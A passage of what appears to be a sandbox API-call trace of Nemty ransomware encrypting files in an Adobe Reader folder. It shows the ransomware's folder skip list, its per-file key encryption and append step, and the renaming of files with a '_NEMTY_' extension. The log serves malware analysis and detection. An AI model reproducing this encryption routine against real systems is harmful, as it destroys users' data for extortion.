lpString2="AUTOEXEC.BAT") returned 1 [0170.729] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="ntuser.dat") returned -1 [0170.729] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="desktop.ini") returned 1 [0170.729] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="CONFIG.SYS") returned 1 [0170.729] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="RECYCLER") returned -1 [0170.730] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="BOOTSECT.BAK") returned 1 [0170.730] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="bootmgr") returned 1 [0170.730] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="programdata") returned -1 [0170.730] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="appdata") returned 1 [0170.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHT", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CHT", lpUsedDefaultChar=0x0) returned 11 [0170.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHT", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CHT", lpUsedDefaultChar=0x0) returned 11 [0170.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHT", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CHT", lpUsedDefaultChar=0x0) returned 11 [0170.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHT", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CHT", lpUsedDefaultChar=0x0) returned 11 [0170.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0170.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0170.730] Sleep (dwMilliseconds=0x5) [0170.740] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x196a6e10, dwHighDateTime=0x1d561e8)) [0170.740] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x196a6e10, dwHighDateTime=0x1d561e8)) [0170.740] GetLastError () returned 0x0 [0170.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.740] GetLastError () returned 0x0 [0170.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.740] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.740] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.740] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0170.740] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="m8qdq1LOAUMuNS9UgPPZUv4vFXdjZf9kJ4gTn+jwrBSWoUIe0NypXRKdP4jRwJZh\r\nOgzx9s7ZQoIlWhy0H79XZjLmHj6EFmiN4Im0OlpEEC0a+1eIGIP2BuSRyuI1FKmr\r\nyC0LUv1wt7Q2IzM6JS75iKaQZEZC6Mn9pQPJPwcl8Z5vLMBaVCj0ATdaog+Ggpc5\r\nE8I6CSzTg1wNpwUsUnVnqp8nk76kdoZGyyDbGdCsxzwHUhIyNT10dRzwn0Txm3dA\r\n+0CsZB0J58YsTWWoe3ZXt6H0pb0WpdpFkbt4qEr1AaU8o5ZAb9uEpRfXF7G1TpAn\r\nj67FNrAATsDZYtHuKhqdvw==\r\n", pcchString=0x653e91c) returned 1 [0170.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0170.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.741] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.741] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.742] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.742] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.742] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.743] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.743] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.743] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.744] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.744] CloseHandle (hObject=0x254) returned 1 [0170.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0170.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0170.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0170.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.744] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cht._nemty_kgobjgd_")) returned 1 [0170.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0170.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0170.745] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.CZE", cAlternateFileName="")) returned 1 [0170.745] lstrcmpiW (lpString1="nppdf32.CZE", lpString2=".") returned 1 [0170.745] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="..") returned 1 [0170.745] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="...") returned 1 [0170.745] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="windows") returned -1 [0170.745] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="$RECYCLE.BIN") returned 1 [0170.745] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="rsa") returned -1 [0170.745] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="NTDETECT.COM") returned -1 [0170.745] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="ntldr") returned -1 [0170.745] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="MSDOS.SYS") returned 1 [0170.745] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="IO.SYS") returned 1 [0170.745] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="boot.ini") returned 1 [0170.745] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="boot.ini") returned 1 [0170.745] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0170.745] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="ntuser.dat") returned -1 [0170.745] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="desktop.ini") returned 1 [0170.745] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="CONFIG.SYS") returned 1 [0170.745] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="RECYCLER") returned -1 [0170.745] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="BOOTSECT.BAK") returned 1 [0170.745] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="bootmgr") returned 1 [0170.745] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="programdata") returned -1 [0170.745] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="appdata") returned 1 [0170.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CZE", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CZE", lpUsedDefaultChar=0x0) returned 11 [0170.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CZE", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CZE", lpUsedDefaultChar=0x0) returned 11 [0170.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CZE", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CZE", lpUsedDefaultChar=0x0) returned 11 [0170.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CZE", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CZE", lpUsedDefaultChar=0x0) returned 11 [0170.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0170.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.746] Sleep (dwMilliseconds=0x5) [0170.755] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x196ccf70, dwHighDateTime=0x1d561e8)) [0170.755] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x196ccf70, dwHighDateTime=0x1d561e8)) [0170.755] GetLastError () returned 0x0 [0170.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.755] GetLastError () returned 0x0 [0170.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.755] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.756] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.756] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0170.756] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="RHgAqJFJmt508xPpRLCDvJrQFu1hbxgJ8fFfvvyaTzG1lWCUoJ3JuDFxLL6bLUVA\r\nr5s31WAj2ptS+u09ZtlwtFcIO7Ol0Oy3dL+7gguIS+aogTMPIEFapGpb72EXN6ha\r\nVMdNM6L2IHFUINzGDIug5RGlm+EwPvgNP6l0VW5Sfy3AuFlL2U5CFwHtXP/s+XRk\r\n2+4ylC3znOatJUkCK5KxP6/pySLGfpjAaX0pIoge/16qxBbUTw5wtF4TcrN7UjUi\r\n8JER0u/RKeEV5Xu8wOiDVS8Oy3IPiE+KQmMrUEMX6W/y1YHfveCFy5f5s+1R0mDh\r\nXa7hgp7YVJby3MRPWoWYVw==\r\n", pcchString=0x653e91c) returned 1 [0170.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0170.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.756] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.757] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.757] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.757] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.759] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.759] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.759] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.759] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.759] CloseHandle (hObject=0x254) returned 1 [0170.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0170.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0170.759] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0170.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.759] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cze._nemty_kgobjgd_")) returned 1 [0170.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0170.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.760] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.DAN", cAlternateFileName="")) returned 1 [0170.760] lstrcmpiW (lpString1="nppdf32.DAN", lpString2=".") returned 1 [0170.760] lstrcmpiW 